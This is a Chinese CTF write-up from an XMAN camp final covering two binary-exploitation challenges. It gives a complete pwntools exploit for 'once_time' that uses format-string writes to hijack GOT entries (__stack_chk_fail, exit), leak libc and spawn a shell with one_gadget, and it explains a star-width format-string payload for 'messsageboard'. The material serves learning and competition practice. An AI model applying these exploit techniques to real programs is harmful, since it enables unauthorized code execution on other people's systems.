XMAN结营赛总结

once_time

这题主要利用了格式化字符串的漏洞,另外有canary的保护,需要用到栈溢出报错的函数 具体的利用主要分三步:

  1. 首先将__stack_chk_fail的got表改成main函数的地址,那么这样每次栈溢出报错的时候就会再一次执行main函数,从而实现多次输入,可以多次利用printf(&s,“$p”)进行格式化字符串攻击
  2. 泄漏libc的基址,这里用泄漏read函数的真实地址来实现
  3. 将one_gadget写入exit()函数的got表中

从上图中我们可以看到,程序中有两次输入,第一次输入9个字节,第二次输入32个字节,但考虑到有canary保护,实际上第二次输入到24个字节的时候就会smach报错了

这就需要我们巧用两次输入,第一次九个字节,用来放置我们的目标地址,第二次用来放格式化字符串: 比如,在第一步改__stack_chk_fail的got表的时候 第一次输入:got["__stack_chk_fail"] 第二次输入:%'+str(main)+"d%12$n" 这样就可以达到改got表的目的,另外这里的%12$n是经过调试得到的,在第六个参数的位置是格式化字符串的位置,在第12的参数的位置就是第一次输入的字符串的所在位置

第二步的操作和上面类似,只不过改用了%s

第三步比较复杂,原因是one_gadget的数值大小过大,用%d%n不太现实,于是用%d%hn,每次写双字节,写多次完成修改exit的got表

exp如下:

from pwn import *

context(os="linux", arch="amd64",log_level = "debug")
r = process("./once_time")
e = ELF("./once_time")
libc = e.libc

def sl(s):
	r.sendline(s)
def sd(s):
	r.send(s)
def rc(timeout=0):
	if timeout == 0:
		return r.recv()
	else:
		return r.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return r.recvuntil(s)
	else:
		return r.recvuntil(s, timeout=timeout)


start = 0x400983
rc()
sl(p64(e.got["__stack_chk_fail"]))
rc()
payload = '%'+str(start)+"d%12$n"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["read"]))
ru("leave a msg: ")
payload = "%12$s"
payload = payload.ljust(0x20, "\x00")#填满0x20个字节,触发smach
sd(payload)
data = rc()

#libc.address = int(data[:6][::-1].encode("hex"), 16) - libc.symbols["read"]
#这两种写法都行,其中[::-1]的意思是逆序取字符串
libc.address = u64(data[:6].ljust(8,"\x00")) - libc.symbols["read"]

log.info("libc > " + hex(libc.address))

one_gadget = 0xf1147 + libc.address#通过泄漏的libc版本得到
log.info("one_gadget > " + hex(one_gadget))

sl(p64(e.got["exit"]))
ru("leave a msg: ")
payload = "%" + str(one_gadget & 0xFFFF) + "d%12$hn"#取最低的双字节并对齐
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+2))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 16) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+4))
ru("leave a msg: ")
payload = "%" + str((one_gadget >> 32) & 0xFFFF) + "d%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

ru("input your name: ")
sl(p64(e.got["exit"]+6))
ru("leave a msg: ")
log.info("one_gadget > " + hex(one_gadget))
log.info("one_gadget > " + hex((one_gadget >> 48) & 0xFFFF))
#到这里的时候就需要判断one_gadget 是否有八个字节的大小,如果有则继续写入,如果没有则停止写入
if (one_gadget >> 48) & 0xFFFF != 0:
	payload = "%" + str((one_gadget >> 48) & 0xFFFF) + "d%12$hn"
else:
	payload = "%12$hn"
payload = payload.ljust(0x20, "\x00")
sd(payload)

#写完exit的got表就触发exit从而getshell
ru("input your name: ")
sl('a')
ru("leave a msg: ")
sl("%p")
ru('\n')

#可以看到每次写入的双字节是多少
print hex(one_gadget & 0xFFFF)
print hex((one_gadget >> 16) & 0xFFFF)
print hex((one_gadget >> 32) & 0xFFFF)
print hex((one_gadget >> 48) & 0xFFFF)

r.interactive()

messsageboard

这题就比较灵活,有很多洞可以打,但是基本上大家都用的是堆的操作 但堆我还不太熟练,后面再来复现这种方法,先来一个格式化字符串的骚操作

这种办法exp仅仅那么几行,当时看到我都惊了,只用了一行paylode:%2$*11$s%2$*12$s%13$n 这就触及到我的格式化字符串的知识盲区了,去wiki查了一波资料发现: 宽度与精度格式化参数可以忽略,或者直接指定,或者用星号"*"表示取对应函数参数的值。 例如printf("%*d", 5, 10)输出" 10";printf("%.*s", 3, "abcdef") 输出"abc"

因此这段paylode的意思是: %2$*11$s 以第11个参数位置上的数的为精度,取第2个参数位置上面的数作为字符串输出,也就是会输出a个字符串,a=第11个参数位置的数

%2$*12$s 以第12个参数位置上的数的为精度,取第2个参数位置上面的数作为字符串输出,也就是会输出b个字符串,b=第12个参数位置的数

%13$n 向第13个参数的位置写入已经输出的字节数,也就是向第13个参数的位置写入a+b

分析到这里已经很明确了,11,12位置存了程序生成的随机数,而我们的输入在13的位置,如果猜对随机数,那么就可以一键getshell

以上是根据exp的分析,但实际上,真正复现的时候还是有很多问题,比如断点不好下,第11,12,13参数位置很难测出来,因为输入有限制,只能通过输出到第八九个参数位置,再去gdb看栈的情况,才能推出准确的位置,另外这里学到一种姿势: exp调gdb的时候,可以通过:gdb.attach(p, “b 函数符号/地址) 来下更具体的断点